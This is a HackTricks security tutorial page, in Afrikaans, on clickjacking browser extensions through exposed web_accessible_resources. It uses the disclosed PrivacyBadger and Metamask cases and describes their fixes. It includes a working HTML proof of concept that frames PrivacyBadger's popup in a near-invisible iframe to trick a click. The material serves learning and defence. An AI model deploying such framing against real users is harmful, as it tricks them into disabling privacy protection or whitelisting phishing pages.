BrowExt - ClickJacking
Reading time: 5 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Hierdie bladsy gaan 'n ClickJacking kwesbaarheid in 'n Blaaier uitbreiding misbruik.
As jy nie weet wat ClickJacking is nie, kyk:
Uitbreidings bevat die lêer manifest.json
en daardie JSON-lêer het 'n veld web_accessible_resources
. Hier is wat die Chrome dokumentasie daaroor sê:
Hierdie hulpbronne sal dan beskikbaar wees in 'n webblad via die URL
chrome-extension://[PACKAGE ID]/[PATH]
, wat gegenereer kan word met dieextension.getURL method
. Toegelate hulpbronne word bedien met toepaslike CORS koptekste, sodat hulle beskikbaar is via meganismes soos XHR.1
Die web_accessible_resources
in 'n blaaiers uitbreiding is nie net via die web toeganklik nie; hulle werk ook met die uitbreiding se inherente voorregte. Dit beteken hulle het die vermoë om:
- Die uitbreiding se toestand te verander
- Bykomende hulpbronne te laai
- Met die blaaier tot 'n sekere mate te kommunikeer
Egter, hierdie kenmerk bied 'n sekuriteitsrisiko. As 'n hulpbron binne web_accessible_resources
enige beduidende funksionaliteit het, kan 'n aanvaller moontlik hierdie hulpbron in 'n eksterne webblad inkorporeer. Onbewuste gebruikers wat hierdie bladsy besoek, mag per ongeluk hierdie ingekorporeerde hulpbron aktiveer. So 'n aktivering kan lei tot onvoorsiene gevolge, afhangende van die toestemmings en vermoëns van die uitbreiding se hulpbronne.
PrivacyBadger Voorbeeld
In die uitbreiding PrivacyBadger is 'n kwesbaarheid geïdentifiseer wat verband hou met die skin/
gids wat as web_accessible_resources
verklaar is op die volgende manier (Kyk die oorspronklike blogpos):
"web_accessible_resources": [
"skin/*",
"icons/*"
]
Hierdie konfigurasie het gelei tot 'n potensiële sekuriteitsprobleem. Spesifiek, die skin/popup.html
lêer, wat gerender word wanneer daar interaksie is met die PrivacyBadger ikoon in die blaaier, kan binne 'n iframe
ingebed word. Hierdie inbedding kan uitgebuit word om gebruikers te mislei om per ongeluk op "Disable PrivacyBadger for this Website" te klik. So 'n aksie sou die gebruiker se privaatheid in gevaar stel deur die PrivacyBadger beskerming te deaktiveer en die gebruiker moontlik aan verhoogde opsporing bloot te stel. 'n Visuele demonstrasie van hierdie uitbuiting kan gesien word in 'n ClickJacking video voorbeeld wat beskikbaar is by https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.
Om hierdie kwesbaarheid aan te spreek, is 'n eenvoudige oplossing geïmplementeer: die verwydering van /skin/*
uit die lys van web_accessible_resources
. Hierdie verandering het die risiko effektief verminder deur te verseker dat die inhoud van die skin/
gids nie deur web-toeganklike hulpbronne toegang of gemanipuleer kon word nie.
Die regstelling was maklik: verwyder /skin/*
uit die web_accessible_resources
.
PoC
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>
<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Metamask Voorbeeld
'n blogpos oor 'n ClickJacking in metamask kan hier gevind word. In hierdie geval het Metamask die kwesbaarheid reggestel deur te verifieer dat die protokol wat gebruik is om toegang te verkry https:
of http:
was (nie chrome:
nie, byvoorbeeld):
Nog 'n ClickJacking wat reggestel is in die Metamask-uitbreiding was dat gebruikers in staat was om Klik om te witlys wanneer 'n bladsy verdag was om phishing te wees as gevolg van “web_accessible_resources”: [“inpage.js”, “phishing.html”]
. Aangesien daardie bladsy kwesbaar was vir Clickjacking, kon 'n aanvaller dit misbruik deur iets normaal te wys om die slagoffer te laat klik om dit te witlys sonder om dit te besef, en dan terug te gaan na die phishing-bladsy wat gewitlys sal wees.
Steam Inventory Helper Voorbeeld
Kyk na die volgende bladsy om te sien hoe 'n XSS in 'n blaaiers-uitbreiding geketting is met 'n ClickJacking kwesbaarheid:
Verwysings
- https://blog.lizzie.io/clickjacking-privacy-badger.html
- https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.